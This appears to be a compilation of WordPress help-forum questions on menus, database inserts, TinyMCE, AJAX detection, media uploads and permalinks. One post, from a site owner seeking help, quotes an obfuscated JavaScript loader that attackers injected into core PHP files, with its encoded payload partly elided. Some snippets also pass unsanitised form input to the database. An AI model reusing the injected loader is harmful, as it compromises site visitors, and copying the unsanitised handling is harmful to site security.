I have a CPT archive page and I want to create a navigation menu which will jump to anchors in the form `<a name="post-slug" http="{the permalink goes here}>The CPT Title</a>` I have been able to create the anchors in the template file so that's not a problem For the links themselves at the top of the page I could either create them manually or by using custom links in the WordPress menu system .... but there are a good few so what I would rather try to do is to create a regular menu in the WordPress menu system. The problem with this is that I would need to adjust it's output somehow to change the regular links `href = "http://mydomain.com/post-slug"` to something more like `href = "/#post-slug"` I am wondering is there any way I can adjust wp_nav_menu() to do this ... or is there any other technique that I could use NB. For clarity here please note that I am not referring to anchors within the editor or anything to do with the editor, this is entirely to do with template files and the WordPress Menu System and I won't be using the editor at all in this instance.


Error on inserting a form value to database

hi i have decided to store few values in a separate table, So i created it and now i used a form to store values but when i process that form i'm getting error `Trying to get property of non-object` and `Call to a member function insert() on a non-object` Even though i declared `global $wpdb;` Here is the form               <form action="formaction.php" method="post">         <input type="text" name="name1" value="">         <input type="text" name="name2" value="">         <input type="submit" name="submit" value="add">     </form>      formaction.php               if(isset($_POST['name1']))     {         $db_data1=$_POST['name1'];     }     if(isset($_POST['name2']))     {         $db_data2=$_POST['name2'];     }     function res()     {      global $wpdb,$db_data1,$db_data2;             $my_table_name=$wpdb->prefix."my_table";             $name1=$db_data1;             $name2=$db_data2;             $rows_affected = $wpdb->insert( $my_table_name, array( 'first' => $name1, 'last' => $name2 ) );     }          res();      according to error $wpdb is not an object but i have used global, what is the bug in this code? am i doing correctly ?


Template tags vs get_template_part() vs functions.php

When to use template tags and when to use `get_template_part()` and when to use `function.php`? I am confused at them. For example, if I want to show related portfolios under single portfolio, I can create a template tag named `show_related_portfolios()`. In contrast, I can create a file named `content-related-portfolios.php`, and use it like `get_template_part( 'content', 'related-portfolios' )`. Or I can create a function which fetches related portfolios in `functions.php`. Is there any best practices for using them?


post_status => publish not working

I have a front end form that let users submit a post. This is how i store the data when a post is submitted :               if ( isset( $_POST['submitted'] )) {             $post_information = array(             'post_title' => wp_strip_all_tags( $_POST['postTitle'] ),             'post_content' => $_POST['postContent'],             'post_type' => 'post',             'post_status' => 'publish'         );     $new_post = wp_insert_post( $post_information );      The post is not showing in my post page unless i go through my dashboard and click over The UPDATE button. THIS IS HOW I QUERY MY POSTS :               $args = array(      'posts_per_page' => 5,     'paged' => $paged,     'meta_query' => array(     array( 'key' => '_wti_like_count','value' => 5, 'compare' => '<=','type' => 'numeric')     )     );          query_posts( $args );      How can i make my submitted posts publish automatically?


Determining whether it's a AJAX call from front-end or from back-end

I am developing an admin-only plugin, which uses some ajax calls in its interface. The website itself also relies on ajax calls on its front-end, too. I'd like to be able to identify when the WP is loaded due to "simple backend call", "AJAX backend call" or "AJAX frontend call". The use case, in its simplest form, could be to load my plugin only on admin pages or ajax calls from them. Besides, it helps not to break the front-end while developing on a live site :) So far, I found the following:   * `is_admin()` returns true on all AJAX calls (which is strange, imho)   * as all my AJAX calls are done via jQuery, I can determine an AJAX call by HTTP variable `HTTP_X_REQUESTED_WITH` (see here). But I still cannot figure out how to distinguish between admin-side AJAX and front-side AJAX. Any ideas?


TinyMCE style_select - Append Classes

**TL;DR Question**   1. How do I create a submenu for my classes with `style_format`?   2. Can I append a submenu to the existing menu? * * * With the new Styleselect in TinyMCE 4.0 there's a bunch of predefined menus, Headers, Inline, Block, and Alignment. Is there a way to keep these menus but append a new Classes menu with subitems of developer defined classes? ![Style Select Drop Down Menu](http://i.stack.imgur.com/82FP5.jpg) The above picture is pretty much what I'm going for. I can add classes via this filtering function - **The problem** is that it remove all the predefined menu items (Headings through Alignment) and replaces them with just my class.               function myformatTinyMCE($in) {         $style_formats = array(             array(                   'title' => 'Blue Color',                 'selector' => 'p,strong,u,em,ul,ol,a',                 'classes' => 'blueColor',                 'wrapper' => false,             )         );           $in['style_formats'] = json_encode( $style_formats );              return $in;      }     add_filter('tiny_mce_before_init', 'myformatTinyMCE' );      I looked at the TinyMCE `style_formats` Documentation to try and replicate what they do but it looks like they may have predefined _styles_ connected to keywords, like the alignments so I'm not sure if it's possible. I was able to replicate the submenu but wasn't able to apply it as it is a class and not a direct `style=""` format.               function myformatTinyMCE($in) {         $style_formats = array(             array(                 'title' => 'Classes',                 'items' =>  array(                       array(                         'title' => 'Blue Color',                         'icon' => 'alignleft',                         'format' => 'blueColor'                     )                 )             )         );           $in['style_formats'] = json_encode( $style_formats );              return $in;      }     add_filter('tiny_mce_before_init', 'myformatTinyMCE' );


Why are passwords exportable as plain text in WordPress?

On my WordPress 3.9.2 installation can I extract the users plain text passwords by going to Users, select all users, and choosing Bulk Actions Export. When I look in the mySQL database with phpMyAdmin, the passwords are hashed. **Question** How come all user passwords can be exported in plain text, and how can I prevent this? **Update** When I either export one user or "Export All Users" I get output similar to this               User ID,Username,Payment Status,First Name,Last Name,Address,Zip,City,Country,Date,Sex,Phone no.,Email,Company,Password,TOS,Website,AIM,Yahoo IM,Jabber/Google Talk,Biographical Info,Registered,IP     "31","xxx","paid","Jasmine","Lognnes","xxx","xxx","xxx","","xxx","female","","xxx","xxx","xxx","agree","","","","","","2012-01-26 18:13:19","xxx"


Put the media uploader in a metabox

I find it very unnecessary to have an "add image" button that brings me to yet another screen that will let me upload content to my post. Ideally I would like to have a meta box with the option to add images directly in a meta box. I managed to get some functionality by copy the source for the media-upload form and paste it in a meta box. The image I choose gets uploaded, however I doesn't show any progressbar, and I need to find a way to list attached images below for better overview. Anyone managed to do this? Code:               function add_image_test() {      ?>                                            <form enctype="multipart/form-data" method="post" action="http://xxx.com/wp-admin/media-upload.php?type=image&tab=type&post_id=1622" class="media-upload-form type-form validate" id="image-form">     <input type="submit" name="save" id="save" class="hidden" value="Save Changes"  /><input type="hidden" name="post_id" id="post_id" value="1622" />     <input type="hidden" id="_wpnonce" name="_wpnonce" value="2460ab002a" /><input type="hidden" name="_wp_http_referer" value="/wp-admin/media-upload.php?post_id=1622&type=image&" />

         Choose files to upload

         <input id="cancel-upload" disabled="disabled" onclick="cancelUpload()" type="button" value="Cancel Upload" class="button" />

Maximum upload file size: 4MB

                  Upload             <input type="file" name="async-upload" id="async-upload" />             <input type="submit" name="html-upload" id="html-upload" class="button" value="Upload"  />      Cancel

Maximum upload file size: 4MB

     <input type="submit" name="save" id="save" class="button" value="Save all changes"  />
     </form>                         <?php     }


How Attackers write script into my php files?

I have a blog created with wordpress, now i have a problem. Attackers writes javascript codes into my files. Let's assume i have holes in my plugin scripts, but how can they write into php files? here is part of the list of php files, in which they write the script (`index.php, wp-activate.php, wp-comments-post.php, wp-settings.php ...`) and this is the javascript they write into               <script type="text/javascript" language="javascript">kxjwm="225222 ... 2";madds=100;wljam=this;cjayr="i"+"te";geijt=116;fsmuj="wr"+cjayr;for(yadii in wljam){if(yadii.length==8 && yadii.charCodeAt(0)==madds && yadii.charCodeAt(7)==geijt){break;}}o="";bqcqp=0;qczew=wljam[yadii];dlhge=53;while (bqcqp<kxjwm.length){voxhw=0;for(evedn=0;evedn<8;evedn++){voxhw=voxhw<<1;if(kxjwm.charCodeAt(bqcqp+evedn)==dlhge){voxhw++;}}bqcqp=bqcqp+3;qczew[fsmuj](String.fromCharCode(voxhw));bqcqp=bqcqp+5;}</script>      How can i prevent such attacks? I haven't any experience with wordpress, so any help will be very nice. Thanks much


Problems redirecting to "pretty" permalinks (wordpress in Subdirectory)

I've got problems getting pretty permalinks to work. When changing the permalinks (e.g. to month/name), my .htaccess (in the wordpress directory - there is another one one level up) is changed like this:               AddType x-mapp-php5 .php     AddHandler x-mapp-php5 .php          # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /wordpress/     RewriteRule ^index\.php$ - [L]     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /wordpress/index.php [L]     </IfModule>          # END WordPress      But I still get 404s when trying to access an existing page. My blog is in the /wordpress/ subdirectory, not sure if that may be a problem. The URLs are both set to `http://<my domain>/wordpress` which is where my wordpress files are located. Any ideas what I can do, where I can see the results of the rewrite or anything else that would help me to track down the problem? Thanks in advance!